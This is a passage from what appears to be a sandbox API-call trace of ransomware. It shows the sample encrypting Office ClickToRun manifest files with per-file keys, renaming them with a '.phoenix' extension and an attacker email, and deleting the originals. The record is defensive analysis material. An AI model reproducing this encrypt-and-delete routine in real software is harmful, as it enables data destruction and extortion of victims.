	[0222.015] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151580) returned 1
	[0222.015] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.015] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x180e, lpOverlapped=0x0) returned 1
	[0222.039] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1810, dwBufLen=0x1810 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1810) returned 1
	[0222.039] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1810, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1810, lpOverlapped=0x0) returned 1
	[0222.040] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151780) returned 1
	[0222.040] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.040] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70, dwBufLen=0x70 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70) returned 1
	[0222.040] CryptDestroyKey (hKey=0x151780) returned 1
	[0222.040] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x122, lpOverlapped=0x0) returned 1
	[0222.040] CryptDestroyKey (hKey=0x151580) returned 1
	[0222.040] CloseHandle (hObject=0x2e4) returned 1
	[0222.040] CloseHandle (hObject=0x2cc) returned 1
	[0222.044] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml")) returned 1
	[0222.062] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0222.062] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0222.062] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=104348) returned 1
	[0222.062] CloseHandle (hObject=0x2cc) returned 1
	[0222.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml")) returned 0x20
	[0222.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.062] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0222.062] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.062] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.062] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.063] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151100) returned 1
	[0222.063] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.063] ReadFile (in: hFile=0x2cc, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1979c, lpOverlapped=0x0) returned 1
	[0222.086] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x197a0, dwBufLen=0x197a0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x197a0) returned 1
	[0222.086] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x197a0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x197a0, lpOverlapped=0x0) returned 1
	[0222.089] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151400) returned 1
	[0222.089] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.089] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0222.089] CryptDestroyKey (hKey=0x151400) returned 1
	[0222.089] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0222.089] CryptDestroyKey (hKey=0x151100) returned 1
	[0222.089] CloseHandle (hObject=0x2cc) returned 1
	[0222.089] CloseHandle (hObject=0x2e4) returned 1
	[0222.092] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml")) returned 1
	[0222.094] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0222.094] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.094] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=23444) returned 1
	[0222.094] CloseHandle (hObject=0x2e4) returned 1
	[0222.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml")) returned 0x20
	[0222.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.094] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.094] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.094] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.094] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0222.095] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151600) returned 1
	[0222.095] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.095] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x5b94, lpOverlapped=0x0) returned 1
	[0222.350] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5ba0, dwBufLen=0x5ba0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5ba0) returned 1
	[0222.350] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x5ba0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x5ba0, lpOverlapped=0x0) returned 1
	[0222.390] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151100) returned 1
	[0222.390] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.390] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70, dwBufLen=0x70 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70) returned 1
	[0222.390] CryptDestroyKey (hKey=0x151100) returned 1
	[0222.390] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x122, lpOverlapped=0x0) returned 1
	[0222.390] CryptDestroyKey (hKey=0x151600) returned 1
	[0222.390] CloseHandle (hObject=0x2e4) returned 1
	[0222.390] CloseHandle (hObject=0x2cc) returned 1
	[0222.396] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lyncmui.msi.16.en-us.xml")) returned 1
	[0222.397] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0222.397] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0222.397] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=27466) returned 1
	[0222.397] CloseHandle (hObject=0x2cc) returned 1
	[0222.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml")) returned 0x20
	[0222.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.398] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0222.398] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.398] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.398] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.398] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151500) returned 1
	[0222.398] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.398] ReadFile (in: hFile=0x2cc, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x6b4a, lpOverlapped=0x0) returned 1
	[0222.401] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x6b50, dwBufLen=0x6b50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x6b50) returned 1
	[0222.401] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x6b50, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x6b50, lpOverlapped=0x0) returned 1
	[0222.402] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0222.402] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.403] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0222.403] CryptDestroyKey (hKey=0x151380) returned 1
	[0222.403] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0222.403] CryptDestroyKey (hKey=0x151500) returned 1
	[0222.403] CloseHandle (hObject=0x2cc) returned 1
	[0222.403] CloseHandle (hObject=0x2e4) returned 1
	[0222.404] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32mui.msi.16.en-us.xml")) returned 1
	[0222.405] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0222.406] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.406] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=324596) returned 1
	[0222.406] CloseHandle (hObject=0x2e4) returned 1
	[0222.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml")) returned 0x20
	[0222.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.406] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.406] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.406] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.406] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0222.408] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0222.408] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.408] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x4f3f4, lpOverlapped=0x0) returned 1
	[0222.498] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4f400, dwBufLen=0x4f400 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4f400) returned 1
	[0222.498] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x4f400, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x4f400, lpOverlapped=0x0) returned 1
	[0222.505] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151240) returned 1
	[0222.505] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.505] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0222.505] CryptDestroyKey (hKey=0x151240) returned 1
	[0222.505] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0222.505] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0222.505] CloseHandle (hObject=0x2e4) returned 1
	[0222.505] CloseHandle (hObject=0x2cc) returned 1
	[0222.516] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml")) returned 1
	[0222.520] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0222.520] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.522] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=104560) returned 1
	[0222.522] CloseHandle (hObject=0x2e4) returned 1
	[0222.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml")) returned 0x20
	[0222.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
